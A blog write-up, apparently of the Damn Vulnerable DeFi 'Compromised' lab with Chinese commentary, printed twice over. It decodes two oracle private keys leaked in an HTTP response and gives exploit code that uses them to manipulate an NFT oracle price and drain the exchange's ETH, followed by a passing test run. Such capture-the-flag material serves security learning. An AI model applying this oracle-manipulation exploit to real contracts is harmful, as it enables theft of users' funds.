web3maxi
web3maxi
Subscribe to Runstar
Subscribe to Runstar
<100 subscribers
<100 subscribers
Share Dialog
Share Dialog
While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. This is a snippet:
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
A related on-chain exchange is selling (absurdly overpriced) collectibles called "DVNFT", now at 999 ETH each
This price is fetched from an on-chain oracle, and is based on three trusted reporters: 0xA73209FB1a42495120166736362A1DfA9F95A105,0xe92401A4d3af5E446d93D11EEc806b1462b39D15 and 0x81A5D6E50C214044bE44cA0CB057fe119097850c.
Starting with only 0.1 ETH in balance, you must steal all ETH available in the exchange.
目标: 偷走NFT交易所中的所有ETH余额
after(async function () {
/** SUCCESS CONDITIONS */
// Exchange must have lost all ETH
expect(await ethers.provider.getBalance(this.exchange.address)).to.be.eq("0");
// Attacker's ETH balance must have significantly increased
expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(
EXCHANGE_INITIAL_ETH_BALANCE,
);
// Attacker must not own any NFT
expect(await this.nftToken.balanceOf(attacker.address)).to.be.eq("0");
// NFT price shouldn't have changed
expect(await this.oracle.getMedianPrice("DVNFT")).to.eq(INITIAL_NFT_PRICE);
});
TrustfulOracle.sol NFT价格预言机合约
setupInitialPrices 批量设置NFT初始价格,只允许调用一次
function setupInitialPrices(
address[] memory sources,
string[] memory symbols,
uint256[] memory prices
)
public
onlyInitializer
{
// Only allow one (symbol, price) per source
require(sources.length == symbols.length && symbols.length == prices.length);
for(uint256 i = 0; i < sources.length; i++) {
_setPrice(sources[i], symbols[i], prices[i]);
}
renounceRole(INITIALIZER_ROLE, msg.sender);
}
sources预言机地址
symbols NFT名称
prices NFT价格
postPrice 函数, 预言机更新NFT价格getMedianPrice 函数, 取所有预言机价格中位数作为NFT价格getAllPricesForSymbol 函数,获取所有预言机的报价getPriceBySource 获取指定预言机报价getNumberOfSources 获取预言机数量
TrustfulOracleInitializer.sol 初始化预言机并设置NFT价格
Exchange.sol NFT交易所合约
buyOneNFT购买函数
function buyOne() external payable nonReentrant returns (uint256) {
uint256 amountPaidInWei = msg.value;
require(amountPaidInWei > 0, "Amount paid must be greater than zero");
// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
require(amountPaidInWei >= currentPriceInWei, "Amount paid is not enough");
uint256 tokenId = token.safeMint(msg.sender);
payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);
emit TokenBought(msg.sender, tokenId, currentPriceInWei);
return tokenId;
}
check 购买价格大于0
check 购买价格大于NFT报价(取所有预言机中位数)
转移NFT至购买者
向购买者退还多余ETH
返回NFT id
sellOne NFT出售函数
function sellOne(uint256 tokenId) external nonReentrant {
require(msg.sender == token.ownerOf(tokenId), "Seller must be the owner");
require(token.getApproved(tokenId) == address(this), "Seller must have approved transfer");
// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
require(address(this).balance >= currentPriceInWei, "Not enough ETH in balance");
token.transferFrom(msg.sender, address(this), tokenId);
token.burn(tokenId);
payable(msg.sender).sendValue(currentPriceInWei);
emit TokenSold(msg.sender, tokenId, currentPriceInWei);
}
check 出售函数调用者为NFT拥有者
check 已对交易所Approve授权
check 交易所有足够的余额接收NFT
转移NFT至交易所,并燃烧掉当前NFT
向出售者发送ETH
将HTTP responses中的两段16进制数转为ascii:
❯ echo -n 4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35 | xxd -r -p
MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
❯ echo -n 4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34 | xxd -r -p
MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4
显然转换后的ascii形态类似于base64编码
将ascii进行base64解码
echo "MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5" | base64 --decode
0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
echo "MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4" | base64 --decode
0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48
得到两个16进制数, 猜测其为预言机私钥导入两个16进制数得到0xe92401a4d3af5e446d93d11eec806b1462b39d15 0x81a5d6e50c214044be44ca0cb057fe119097850c 确实为预言机地址!由于NFT价格为取3个预言机报价源的中位数, 我们已经掌握了两个预言机私钥,因此可以通过操控预言机价格偷走NFT交易所中所有资金
操控预言机使NFT价格为0,拿走一个NFT
操控预言机时NFT价格为交易所所有ETH余额
卖出NFT拿到交易所所有资金
重置NFT价格
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const source1 = new ethers.Wallet(
"0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9",
ethers.provider,
);
const source2 = new ethers.Wallet(
"0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48",
ethers.provider,
);
await this.oracle.connect(source1).postPrice("DVNFT", 0);
await this.oracle.connect(source2).postPrice("DVNFT", 0);
await this.exchange.connect(attacker).buyOne({ value: 10 });
await this.oracle.connect(source1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
await this.oracle.connect(source2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
await this.nftToken.connect(attacker).approve(this.exchange.address, 0);
await this.exchange.connect(attacker).sellOne(0);
await this.oracle.connect(source1).postPrice("DVNFT", INITIAL_NFT_PRICE);
await this.oracle.connect(source2).postPrice("DVNFT", INITIAL_NFT_PRICE);
});
运行通过
❯ yarn run compromised
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/compromised/compromised.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/compromised/compromised.challenge.js
Compromised challenge
✓ Exploit (418ms)
1 passing (3s)
Done in 5.66s.
Twitter: @0xRunstar
While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. This is a snippet:
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
A related on-chain exchange is selling (absurdly overpriced) collectibles called "DVNFT", now at 999 ETH each
This price is fetched from an on-chain oracle, and is based on three trusted reporters: 0xA73209FB1a42495120166736362A1DfA9F95A105,0xe92401A4d3af5E446d93D11EEc806b1462b39D15 and 0x81A5D6E50C214044bE44cA0CB057fe119097850c.
Starting with only 0.1 ETH in balance, you must steal all ETH available in the exchange.
目标: 偷走NFT交易所中的所有ETH余额
after(async function () {
/** SUCCESS CONDITIONS */
// Exchange must have lost all ETH
expect(await ethers.provider.getBalance(this.exchange.address)).to.be.eq("0");
// Attacker's ETH balance must have significantly increased
expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(
EXCHANGE_INITIAL_ETH_BALANCE,
);
// Attacker must not own any NFT
expect(await this.nftToken.balanceOf(attacker.address)).to.be.eq("0");
// NFT price shouldn't have changed
expect(await this.oracle.getMedianPrice("DVNFT")).to.eq(INITIAL_NFT_PRICE);
});
TrustfulOracle.sol NFT价格预言机合约
setupInitialPrices 批量设置NFT初始价格,只允许调用一次
function setupInitialPrices(
address[] memory sources,
string[] memory symbols,
uint256[] memory prices
)
public
onlyInitializer
{
// Only allow one (symbol, price) per source
require(sources.length == symbols.length && symbols.length == prices.length);
for(uint256 i = 0; i < sources.length; i++) {
_setPrice(sources[i], symbols[i], prices[i]);
}
renounceRole(INITIALIZER_ROLE, msg.sender);
}
sources预言机地址
symbols NFT名称
prices NFT价格
postPrice 函数, 预言机更新NFT价格getMedianPrice 函数, 取所有预言机价格中位数作为NFT价格getAllPricesForSymbol 函数,获取所有预言机的报价getPriceBySource 获取指定预言机报价getNumberOfSources 获取预言机数量
TrustfulOracleInitializer.sol 初始化预言机并设置NFT价格
Exchange.sol NFT交易所合约
buyOneNFT购买函数
function buyOne() external payable nonReentrant returns (uint256) {
uint256 amountPaidInWei = msg.value;
require(amountPaidInWei > 0, "Amount paid must be greater than zero");
// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
require(amountPaidInWei >= currentPriceInWei, "Amount paid is not enough");
uint256 tokenId = token.safeMint(msg.sender);
payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);
emit TokenBought(msg.sender, tokenId, currentPriceInWei);
return tokenId;
}
check 购买价格大于0
check 购买价格大于NFT报价(取所有预言机中位数)
转移NFT至购买者
向购买者退还多余ETH
返回NFT id
sellOne NFT出售函数
function sellOne(uint256 tokenId) external nonReentrant {
require(msg.sender == token.ownerOf(tokenId), "Seller must be the owner");
require(token.getApproved(tokenId) == address(this), "Seller must have approved transfer");
// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
require(address(this).balance >= currentPriceInWei, "Not enough ETH in balance");
token.transferFrom(msg.sender, address(this), tokenId);
token.burn(tokenId);
payable(msg.sender).sendValue(currentPriceInWei);
emit TokenSold(msg.sender, tokenId, currentPriceInWei);
}
check 出售函数调用者为NFT拥有者
check 已对交易所Approve授权
check 交易所有足够的余额接收NFT
转移NFT至交易所,并燃烧掉当前NFT
向出售者发送ETH
将HTTP responses中的两段16进制数转为ascii:
❯ echo -n 4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35 | xxd -r -p
MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
❯ echo -n 4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34 | xxd -r -p
MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4
显然转换后的ascii形态类似于base64编码
将ascii进行base64解码
echo "MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5" | base64 --decode
0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
echo "MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4" | base64 --decode
0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48
得到两个16进制数, 猜测其为预言机私钥导入两个16进制数得到0xe92401a4d3af5e446d93d11eec806b1462b39d15 0x81a5d6e50c214044be44ca0cb057fe119097850c 确实为预言机地址!由于NFT价格为取3个预言机报价源的中位数, 我们已经掌握了两个预言机私钥,因此可以通过操控预言机价格偷走NFT交易所中所有资金
操控预言机使NFT价格为0,拿走一个NFT
操控预言机时NFT价格为交易所所有ETH余额
卖出NFT拿到交易所所有资金
重置NFT价格
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const source1 = new ethers.Wallet(
"0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9",
ethers.provider,
);
const source2 = new ethers.Wallet(
"0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48",
ethers.provider,
);
await this.oracle.connect(source1).postPrice("DVNFT", 0);
await this.oracle.connect(source2).postPrice("DVNFT", 0);
await this.exchange.connect(attacker).buyOne({ value: 10 });
await this.oracle.connect(source1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
await this.oracle.connect(source2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
await this.nftToken.connect(attacker).approve(this.exchange.address, 0);
await this.exchange.connect(attacker).sellOne(0);
await this.oracle.connect(source1).postPrice("DVNFT", INITIAL_NFT_PRICE);
await this.oracle.connect(source2).postPrice("DVNFT", INITIAL_NFT_PRICE);
});
运行通过
❯ yarn run compromised
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/compromised/compromised.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/compromised/compromised.challenge.js
Compromised challenge
✓ Exploit (418ms)
1 passing (3s)
Done in 5.66s.
Twitter: @0xRunstar
No activity yet